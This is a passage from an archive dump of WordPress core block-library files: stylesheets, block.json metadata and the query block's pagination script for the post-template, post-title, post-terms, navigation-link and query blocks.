.wp-block-post-featured-image:where(.alignleft,.alignright){ width:100%; }blocks/post-featured-image/style.css000064400000003657151202620300013537 0ustar00.wp-block-post-featured-image{ margin-left:0; margin-right:0; } .wp-block-post-featured-image a{ display:block; height:100%; } .wp-block-post-featured-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; width:100%; } .wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{ width:100%; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{ background-color:#000; inset:0; position:absolute; } .wp-block-post-featured-image{ position:relative; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{ background-color:transparent; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{ opacity:0; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{ opacity:.1; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{ opacity:.2; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{ opacity:.3; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{ opacity:.4; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{ opacity:.5; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{ opacity:.6; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{ opacity:.7; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{ opacity:.8; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{ opacity:.9; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{ opacity:1; } .wp-block-post-featured-image:where(.alignleft,.alignright){ width:100%; }blocks/post-navigation-link/style-rtl.min.css000064400000001220151202620300015313 0ustar00.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}blocks/post-navigation-link/block.json000064400000002225151202620300014053 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-navigation-link", "title": "Post Navigation Link", "category": "theme", "description": "Displays the next or previous post link that is adjacent to the current post.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "type": { "type": "string", "default": "next" }, "label": { "type": "string" }, "showTitle": { "type": "boolean", "default": false }, "linkLabel": { "type": "boolean", "default": false }, "arrow": { "type": "string", "default": "none" } }, "supports": { "reusable": false, "html": false, "color": { "link": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } } }, "style": "wp-block-post-navigation-link" } blocks/post-navigation-link/style.min.css000064400000001216151202620300014521 0ustar00.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}blocks/post-navigation-link/style-rtl.css000064400000001265151202620300014542 0ustar00.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{ display:inline-block; margin-left:1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{ display:inline-block; margin-right:1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{ rotate:180deg; }blocks/post-navigation-link/style.css000064400000001261151202620300013737 0ustar00.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{ display:inline-block; margin-right:1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{ display:inline-block; margin-left:1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{ rotate:180deg; }blocks/post-template/editor.min.css000064400000000136151202620300013370 0ustar00.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-left:0;padding-left:0}blocks/post-template/style-rtl.min.css000064400000003250151202620300014041 0ustar00.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{-webkit-margin-start:2em;-webkit-margin-end:0;float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{-webkit-margin-start:0;-webkit-margin-end:2em;float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{-webkit-margin-start:auto;-webkit-margin-end:auto;margin-inline-end:auto;margin-inline-start:auto}blocks/post-template/block.json000064400000002464151202620300012601 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-template", "title": "Post Template", "category": "theme", "parent": [ "core/query" ], "description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.", "textdomain": "default", "usesContext": [ "queryId", "query", "queryContext", "displayLayout", "templateSlug", "previewPostType", "enhancedPagination" ], "supports": { "reusable": false, "html": false, "align": [ "wide", "full" ], "layout": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "blockGap": { "__experimentalDefault": "1.25em" }, "__experimentalDefaultControls": { "blockGap": true } } }, "style": "wp-block-post-template", "editorStyle": "wp-block-post-template-editor" } blocks/post-template/editor.css000064400000000151151202620300012603 0ustar00.editor-styles-wrapper ul.wp-block-post-template{ list-style:none; margin-left:0; padding-left:0; }blocks/post-template/style.min.css000064400000003250151202620300013242 0ustar00.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{-webkit-margin-start:2em;-webkit-margin-end:0;float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{-webkit-margin-start:0;-webkit-margin-end:2em;float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{-webkit-margin-start:auto;-webkit-margin-end:auto;margin-inline-end:auto;margin-inline-start:auto}blocks/post-template/editor-rtl.css000064400000000153151202620300013404 0ustar00.editor-styles-wrapper ul.wp-block-post-template{ list-style:none; margin-right:0; padding-right:0; }blocks/post-template/editor-rtl.min.css000064400000000140151202620300014162 0ustar00.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-right:0;padding-right:0}blocks/post-template/style-rtl.css000064400000003611151202620300013260 0ustar00.wp-block-post-template{ list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } .wp-block-post-template.wp-block-post-template{ background:none; } .wp-block-post-template.is-flex-container{ display:flex; flex-direction:row; flex-wrap:wrap; gap:1.25em; } .wp-block-post-template.is-flex-container>li{ margin:0; width:100%; } @media (min-width:600px){ .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{ width:calc(50% - .625em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{ width:calc(33.33333% - .83333em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{ width:calc(25% - .9375em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{ width:calc(20% - 1em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{ width:calc(16.66667% - 1.04167em); } } @media (max-width:600px){ .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{ grid-template-columns:1fr; } } .wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{ -webkit-margin-start:2em; -webkit-margin-end:0; float:left; margin-inline-end:0; margin-inline-start:2em; } .wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{ -webkit-margin-start:0; -webkit-margin-end:2em; float:right; margin-inline-end:2em; margin-inline-start:0; } .wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{ -webkit-margin-start:auto; -webkit-margin-end:auto; margin-inline-end:auto; margin-inline-start:auto; }blocks/post-template/style.css000064400000003611151202620300012461 0ustar00.wp-block-post-template{ list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } .wp-block-post-template.wp-block-post-template{ background:none; } .wp-block-post-template.is-flex-container{ display:flex; flex-direction:row; flex-wrap:wrap; gap:1.25em; } .wp-block-post-template.is-flex-container>li{ margin:0; width:100%; } @media (min-width:600px){ .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{ width:calc(50% - .625em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{ width:calc(33.33333% - .83333em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{ width:calc(25% - .9375em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{ width:calc(20% - 1em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{ width:calc(16.66667% - 1.04167em); } } @media (max-width:600px){ .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{ grid-template-columns:1fr; } } .wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{ -webkit-margin-start:2em; -webkit-margin-end:0; float:right; margin-inline-end:0; margin-inline-start:2em; } .wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{ -webkit-margin-start:0; -webkit-margin-end:2em; float:left; margin-inline-end:2em; margin-inline-start:0; } .wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{ -webkit-margin-start:auto; -webkit-margin-end:auto; margin-inline-end:auto; margin-inline-start:auto; }blocks/post-terms/style-rtl.min.css000064400000000165151202620300013362 0ustar00.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}blocks/post-terms/block.json000064400000002223151202620300012111 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-terms", "title": "Post Terms", "category": "theme", "description": "Post terms.", "textdomain": "default", "attributes": { "term": { "type": "string" }, "textAlign": { "type": "string" }, "separator": { "type": "string", "default": ", " }, "prefix": { "type": "string", "default": "" }, "suffix": { "type": "string", "default": "" } }, "usesContext": [ "postId", "postType" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "style": "wp-block-post-terms" } blocks/post-terms/style.min.css000064400000000165151202620300012563 0ustar00.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}blocks/post-terms/style-rtl.css000064400000000200151202620300012566 0ustar00.wp-block-post-terms{ box-sizing:border-box; } .wp-block-post-terms .wp-block-post-terms__separator{ white-space:pre-wrap; }blocks/post-terms/style.css000064400000000200151202620300011767 0ustar00.wp-block-post-terms{ box-sizing:border-box; } .wp-block-post-terms .wp-block-post-terms__separator{ white-space:pre-wrap; }blocks/post-title/style-rtl.min.css000064400000000155151202620300013350 0ustar00.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title a{display:inline-block}blocks/post-title/block.json000064400000002520151202620300012100 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-title", "title": "Title", "category": "theme", "description": "Displays the title of a post, page, or any other content-type.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "attributes": { "textAlign": { "type": "string" }, "level": { "type": "number", "default": 2 }, "isLink": { "type": "boolean", "default": false }, "rel": { "type": "string", "attribute": "rel", "default": "" }, "linkTarget": { "type": "string", "default": "_self" } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true, "textTransform": true } } }, "style": "wp-block-post-title" } blocks/post-title/style.min.css000064400000000155151202620300012551 0ustar00.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title a{display:inline-block}blocks/post-title/style-rtl.css000064400000000173151202620300012566 0ustar00.wp-block-post-title{ box-sizing:border-box; word-break:break-word; } .wp-block-post-title a{ display:inline-block; }blocks/post-title/style.css000064400000000173151202620300011767 0ustar00.wp-block-post-title{ box-sizing:border-box; word-break:break-word; } .wp-block-post-title a{ display:inline-block; }blocks/query/editor.min.css000064400000002763151202620300011747 0ustar00.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 16px 16px 52px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{grid-gap:8px;display:grid;grid-template-columns:1fr 1fr 1fr}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}blocks/query/style-rtl.min.css000064400000001433151202620300012411 0ustar00.wp-block-query__enhanced-pagination-animation{background-color:var(--wp--preset--color--primary,#000);height:4px;margin:0;max-width:100vw!important;opacity:0;padding:0;position:fixed;right:0;top:0;width:100vw}.wp-block-query__enhanced-pagination-animation.start-animation{animation:wp-block-query__enhanced-pagination-start-animation 30s cubic-bezier(.03,.5,0,1) forwards}.wp-block-query__enhanced-pagination-animation.finish-animation{animation:wp-block-query__enhanced-pagination-finish-animation .3s ease-in}@keyframes wp-block-query__enhanced-pagination-start-animation{0%{opacity:1;transform:scaleX(0);transform-origin:100% 0}to{opacity:1;transform:scaleX(1);transform-origin:100% 0}}@keyframes wp-block-query__enhanced-pagination-finish-animation{0%{opacity:1}50%{opacity:1}to{opacity:0}}blocks/query/block.json000064400000002256151202620300011147 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query", "title": "Query Loop", "category": "theme", "description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.", "textdomain": "default", "attributes": { "queryId": { "type": "number" }, "query": { "type": "object", "default": { "perPage": null, "pages": 0, "offset": 0, "postType": "post", "order": "desc", "orderBy": "date", "author": "", "search": "", "exclude": [], "sticky": "", "inherit": true, "taxQuery": null, "parents": [] } }, "tagName": { "type": "string", "default": "div" }, "namespace": { "type": "string" }, "enhancedPagination": { "type": "boolean", "default": false } }, "providesContext": { "queryId": "queryId", "query": "query", "displayLayout": "displayLayout", "enhancedPagination": "enhancedPagination" }, "supports": { "align": [ "wide", "full" ], "html": false, "layout": true }, "editorStyle": "wp-block-query-editor", "style": "wp-block-query", "viewScript": "file:./view.min.js" } blocks/query/editor.css000064400000003156151202620300011162 0ustar00.block-library-query-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-query__create-new-link{ padding:0 16px 16px 52px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list{ grid-gap:8px; display:grid; grid-template-columns:1fr 1fr 1fr; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ margin-bottom:0; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{ max-height:250px; } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:1280px){ .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{ column-count:3; } } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{ background:#fff; margin-bottom:2px; padding:16px 0; position:sticky; top:0; z-index:2; } .block-library-query-toolspanel__filters .components-form-token-field__help{ margin-bottom:0; } .block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){ margin-bottom:24px; } @media (min-width:600px){ .wp-block-query__enhanced-pagination-modal{ max-width:480px; } } .wp-block-query__enhanced-pagination-notice{ margin:0; }blocks/query/view.min.asset.php000064400000000124151202620300012535 0ustar00 array(), 'version' => 'ecab5647d5d9321e0101'); blocks/query/view.js000064400000007305151202620300010472 0ustar00"use strict"; (self["__WordPressPrivateInteractivityAPI__"] = self["__WordPressPrivateInteractivityAPI__"] || []).push([[155],{ /***/ 890: /***/ (function(__unused_webpack_module, __unused_webpack___webpack_exports__, __webpack_require__) { /* harmony import */ var _wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(754); /** * WordPress dependencies */ const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin; const isValidEvent = event => event.button === 0 && // left clicks only !event.metaKey && // open in new tab (mac) !event.ctrlKey && // open in new tab (windows) !event.altKey && // download !event.shiftKey && !event.defaultPrevented; (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .store */ .h)({ selectors: { core: { query: { startAnimation: ({ context }) => context.core.query.animation === 'start', finishAnimation: ({ context }) => context.core.query.animation === 'finish' } } }, actions: { core: { query: { navigate: async ({ event, ref, context }) => { const isDisabled = ref.closest('[data-wp-navigation-id]')?.dataset.wpNavigationDisabled; if (isValidLink(ref) && isValidEvent(event) && !isDisabled) { event.preventDefault(); const id = ref.closest('[data-wp-navigation-id]').dataset.wpNavigationId; // Don't announce the navigation immediately, wait 300 ms. const timeout = setTimeout(() => { context.core.query.message = context.core.query.loadingText; context.core.query.animation = 'start'; }, 400); await (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .navigate */ .c4)(ref.href); // Dismiss loading message if it hasn't been added yet. clearTimeout(timeout); // Announce that the page has been loaded. If the message is the // same, we use a no-break space similar to the @wordpress/a11y // package: https://github.com/WordPress/gutenberg/blob/c395242b8e6ee20f8b06c199e4fc2920d7018af1/packages/a11y/src/filter-message.js#L20-L26 context.core.query.message = context.core.query.loadedText + (context.core.query.message === context.core.query.loadedText ? '\u00A0' : ''); context.core.query.animation = 'finish'; context.core.query.url = ref.href; // Focus the first anchor of the Query block. const firstAnchor = `[data-wp-navigation-id=${id}] .wp-block-post-template a[href]`; document.querySelector(firstAnchor)?.focus(); } }, prefetch: async ({ ref }) => { const isDisabled = ref.closest('[data-wp-navigation-id]')?.dataset.wpNavigationDisabled; if (isValidLink(ref) && !isDisabled) { await (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .prefetch */ .tL)(ref.href); } } } } }, effects: { core: { query: { prefetch: async ({ ref, context }) => { if (context.core.query.url && isValidLink(ref)) { await (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .prefetch */ .tL)(ref.href); } } } } } }); /***/ }) }, /******/ function(__webpack_require__) { // webpackRuntimeModules /******/ var __webpack_exec__ = function(moduleId) { return __webpack_require__(__webpack_require__.s = moduleId); } /******/ var __webpack_exports__ = (__webpack_exec__(890)); /******/ } ]);blocks/query/style.min.css000064400000001424151202620300011612 0ustar00.wp-block-query__enhanced-pagination-animation{background-color:var(--wp--preset--color--primary,#000);height:4px;left:0;margin:0;max-width:100vw!important;opacity:0;padding:0;position:fixed;top:0;width:100vw}.wp-block-query__enhanced-pagination-animation.start-animation{animation:wp-block-query__enhanced-pagination-start-animation 30s cubic-bezier(.03,.5,0,1) forwards}.wp-block-query__enhanced-pagination-animation.finish-animation{animation:wp-block-query__enhanced-pagination-finish-animation .3s ease-in}@keyframes wp-block-query__enhanced-pagination-start-animation{0%{opacity:1;transform:scaleX(0);transform-origin:0 0}to{opacity:1;transform:scaleX(1);transform-origin:0 0}}@keyframes wp-block-query__enhanced-pagination-finish-animation{0%{opacity:1}50%{opacity:1}to{opacity:0}}blocks/query/editor-rtl.css000064400000003156151202620300011761 0ustar00.block-library-query-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-query__create-new-link{ padding:0 52px 16px 16px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list{ grid-gap:8px; display:grid; grid-template-columns:1fr 1fr 1fr; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ margin-bottom:0; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{ max-height:250px; } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:1280px){ .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{ column-count:3; } } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{ background:#fff; margin-bottom:2px; padding:16px 0; position:sticky; top:0; z-index:2; } .block-library-query-toolspanel__filters .components-form-token-field__help{ margin-bottom:0; } .block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){ margin-bottom:24px; } @media (min-width:600px){ .wp-block-query__enhanced-pagination-modal{ max-width:480px; } } .wp-block-query__enhanced-pagination-notice{ margin:0; }blocks/query/view.asset.php000064400000000124151202620300011753 0ustar00 array(), 'version' => 'f932eea8999458215fe1'); blocks/query/editor-rtl.min.css000064400000002763151202620300012546 0ustar00.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 52px 16px 16px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{grid-gap:8px;display:grid;grid-template-columns:1fr 1fr 1fr}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}blocks/query/view.min.js000064400000002667151202620300011262 0ustar00"use strict";(self.__WordPressPrivateInteractivityAPI__=self.__WordPressPrivateInteractivityAPI__||[]).push([[155],{890:function(e,t,a){var r=a(754);const i=e=>e&&e instanceof window.HTMLAnchorElement&&e.href&&(!e.target||"_self"===e.target)&&e.origin===window.location.origin;(0,r.h)({selectors:{core:{query:{startAnimation:({context:e})=>"start"===e.core.query.animation,finishAnimation:({context:e})=>"finish"===e.core.query.animation}}},actions:{core:{query:{navigate:async({event:e,ref:t,context:a})=>{const o=t.closest("[data-wp-navigation-id]")?.dataset.wpNavigationDisabled;if(i(t)&&(e=>!(0!==e.button||e.metaKey||e.ctrlKey||e.altKey||e.shiftKey||e.defaultPrevented))(e)&&!o){e.preventDefault();const i=t.closest("[data-wp-navigation-id]").dataset.wpNavigationId,o=setTimeout((()=>{a.core.query.message=a.core.query.loadingText,a.core.query.animation="start"}),400);await(0,r.c4)(t.href),clearTimeout(o),a.core.query.message=a.core.query.loadedText+(a.core.query.message===a.core.query.loadedText?" ":""),a.core.query.animation="finish",a.core.query.url=t.href;const n=`[data-wp-navigation-id=${i}] .wp-block-post-template a[href]`;document.querySelector(n)?.focus()}},prefetch:async({ref:e})=>{const t=e.closest("[data-wp-navigation-id]")?.dataset.wpNavigationDisabled;i(e)&&!t&&await(0,r.tL)(e.href)}}}},effects:{core:{query:{prefetch:async({ref:e,context:t})=>{t.core.query.url&&i(e)&&await(0,r.tL)(e.href)}}}}})}},function(e){var t;t=890,e(e.s=t)}]);blocks/query/style-rtl.css000064400000001641151202620300011630 0ustar00.wp-block-query__enhanced-pagination-animation{ background-color:var(--wp--preset--color--primary, #000); height:4px; margin:0; max-width:100vw !important; opacity:0; padding:0; position:fixed; right:0; top:0; width:100vw; } .wp-block-query__enhanced-pagination-animation.start-animation{ animation:wp-block-query__enhanced-pagination-start-animation 30s cubic-bezier(.03, .5, 0, 1) forwards; } .wp-block-query__enhanced-pagination-animation.finish-animation{ animation:wp-block-query__enhanced-pagination-finish-animation .3s ease-in; } @keyframes wp-block-query__enhanced-pagination-start-animation{ 0%{ opacity:1; transform:scaleX(0); transform-origin:100% 0; } to{ opacity:1; transform:scaleX(1); transform-origin:100% 